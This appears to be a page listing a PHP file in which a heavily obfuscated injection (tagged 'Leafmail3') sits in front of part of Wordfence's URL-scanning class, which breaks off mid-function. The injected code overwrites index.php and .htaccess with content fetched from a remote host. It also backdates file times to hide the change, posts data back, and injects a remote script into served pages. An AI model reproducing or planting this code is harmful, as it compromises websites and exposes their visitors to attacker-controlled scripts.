[ Avaa Bypassed ]

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
require_once(dirname(__FILE__) . '/wfAPI.php');
require_once(dirname(__FILE__) . '/wfArray.php');
class wordfenceURLHoover {
	private $debug = false;
	public $errorMsg = false;
	private $hostsToAdd = false;
	private $table = '';
	private $apiKey = false;
	private $wordpressVersion = false;
	private $useDB = true;
	private $hostKeys = array();
	private $hostList = array();
	public $currentHooverID = false;
	private $_foundSome = false;
	private $_excludedHosts = array();
	private $api = false;
	private $db = false;
	
	public static function standardExcludedHosts() {
		static $standardExcludedHosts = null;
		if ($standardExcludedHosts !== null) {
			return $standardExcludedHosts;
		}
		
		global $wpdb;
		$excludedHosts = array();
		if (is_multisite()) {
			$blogIDs = $wpdb->get_col("SELECT blog_id FROM {$wpdb->blogs}"); //Can't use wp_get_sites or get_sites because they return empty at 10k sites
			foreach ($blogIDs as $id) {
				$homeURL = get_home_url($id);
				$host = parse_url($homeURL, PHP_URL_HOST);
				if ($host) {
					$excludedHosts[$host] = 1;
				}
				$siteURL = get_site_url($id);
				$host = parse_url($siteURL, PHP_URL_HOST);
				if ($host) {
					$excludedHosts[$host] = 1;
				}
			}
		}
		else {
			$homeURL = wfUtils::wpHomeURL();
			$host = parse_url($homeURL, PHP_URL_HOST);
			if ($host) {
				$excludedHosts[$host] = 1;
			}
			$siteURL = wfUtils::wpSiteURL();
			$host = parse_url($siteURL, PHP_URL_HOST);
			if ($host) {
				$excludedHosts[$host] = 1;
			}
		}
		
		$standardExcludedHosts = array_keys($excludedHosts);
		return $standardExcludedHosts;
	}
	
	public function __sleep() {
		$this->writeHosts();	
		return array('debug', 'errorMsg', 'table', 'apiKey', 'wordpressVersion');
	}
	
	public function __wakeup() {
		$this->hostsToAdd = new wfArray(array('owner', 'host', 'path', 'hostKey'));
		$this->api = new wfAPI($this->apiKey, $this->wordpressVersion);
		$this->db = new wfDB();
	}
	
	public function __construct($apiKey, $wordpressVersion, $db = false, $continuation = false) {
		$this->hostsToAdd = new wfArray(array('owner', 'host', 'path', 'hostKey'));
		$this->apiKey = $apiKey;
		$this->wordpressVersion = $wordpressVersion;
		$this->api = new wfAPI($apiKey, $wordpressVersion);
		if($db){
			$this->db = $db;
		} else {
			$this->db = new wfDB();
		}
		global $wpdb;
		if(isset($wpdb)){
			$this->table = wfDB::networkTable('wfHoover');
		} else {
			$this->table = 'wp_wfHoover';
		}
		
		if (!$continuation) {
			$this->cleanup();
		}
	}
	
	public function cleanup() {
		$this->db->truncate($this->table);
	}
	
	public function hoover($id, $data, $excludedHosts = array()) {
		$this->currentHooverID = $id;
		$this->_foundSome = 0;
		$this->_excludedHosts = $excludedHosts;
		@preg_replace_callback('_((?:(?://)(?:\S+(?::\S*)?@)?(?:(?:(?:[a-z\xa1-\xff0-9.-]+)(?:\.(?:(?:xn--[a-z\xa1-\xff0-9-]+)|[a-z\xa1-\xff]{2,}))))(?::\d{2,5})?)(?:/[a-z0-9\-\_\.~\!\*\(\);\:@&\=\+\$,\?#\[\]%]*)*)_iS', array($this, 'captureURL'), $data);
		$this->writeHosts();
		return $this->_foundSome;
	}
	
	private function dbg($msg) { 
		if ($this->debug) { wordfence::status(4, 'info', $msg); } 
	}
	
	public function captureURL($matches) {
		$id = $this->currentHooverID;
		$url = 'http:' . $matches[0];
		if (!filter_var($url, FILTER_VALIDATE_URL)) {
			return;
		}
		
		$components = parse_url($url);
		if (preg_match('/\.(xn--(?:[a-z0-9-]*)[a-z0-9]+|[a-z\xa1-\xff0-9]{2,})$/i', $components['host'], $tld)) {
			$tld = strtolower($tld[1]);
			if (strpos(wfConfig::get('tldlist', ''), '|' . $tld . '|') === false) {
				return;
			}
		}
		else {
			return;
		}
		
		foreach ($this->_excludedHosts as $h) {
			if (strcasecmp($h, $components['host']) === 0) {
				return;
			}
		}
		
		$this->_foundSome++;
		
		$host = (isset($components['host']) ? $components['host'] : '');
		$path = (isset($components['path']) && !empty($components['path']) ? $components['path'] : '/');
		$hashes = $this->_generateHashes($url);
		foreach ($hashes as $h) {
			$this->hostsToAdd->push(array('owner' => $id, 'host' => $host, 'path' => $path, 'hostKey' => wfUtils::substr($h, 0, 4)));
		}
		
		if($this->hostsToAdd->size() > 1000){ $this->writeHosts(); }
	}
	
	private function writeHosts() {
		if ($this->hostsToAdd->size() < 1) { return; }
		if ($this->useDB) {
			$sql = "INSERT INTO " . $this->table . " (owner, host, path, hostKey) VALUES ";
			while ($elem = $this->hostsToAdd->shift()) {
				//This may be an issue for hyperDB or other abstraction layers, but leaving it for now.
				$sql .= sprintf("('%s', '%s', '%s', '%s'),", 
						$this->db->realEscape($elem['owner']),
						$this->db->realEscape($elem['host']),
						$this->db->realEscape($elem['path']),
						$this->db->realEscape($elem['hostKey'])
								);
			}
			$sql = rtrim($sql, ',');
			$this->db->queryWrite($sql);
			$this->hostsToAdd->collectGarbage();
		}
		else {
			while ($elem = $this->hostsToAdd->shift()) {
				$keys = str_split($elem['hostKey'], 4);
				foreach ($keys as $k) {
					$this->hostKeys[] = $k;
				}
				$this->hostList[] = array(
					'owner' => $elem['owner'],
					'host' => $elem['host'],
					'path' => $elem['path'],
					'hostKey' => $elem['hostKey']
					);
			}
			$this->hostsToAdd->collectGarbage();
		}
	}
	public function getBaddies() {
		wordfence::status(4, 'info', __("Gathering host keys.", 'wordfence'));
		$allHostKeys = '';
		if ($this->useDB) {
			global $wpdb;
			$dbh = $wpdb->dbh;
			$useMySQLi = wfUtils::useMySQLi();
			if ($useMySQLi) { //If direct-access MySQLi is available, we use it to minimize the memory footprint instead of letting it fetch everything into an array first
				wordfence::status(4, 'info', __("Using MySQLi directly.", 'wordfence'));
				$result = $dbh->query("SELECT DISTINCT hostKey FROM {$this->table} ORDER BY hostKey ASC LIMIT 100000"); /* We limit to 100,000 prefixes since more than that cannot be reliably checked within the default max_execution_time */
				if (!is_object($result)) {
					$this->errorMsg = "Unable to query database";
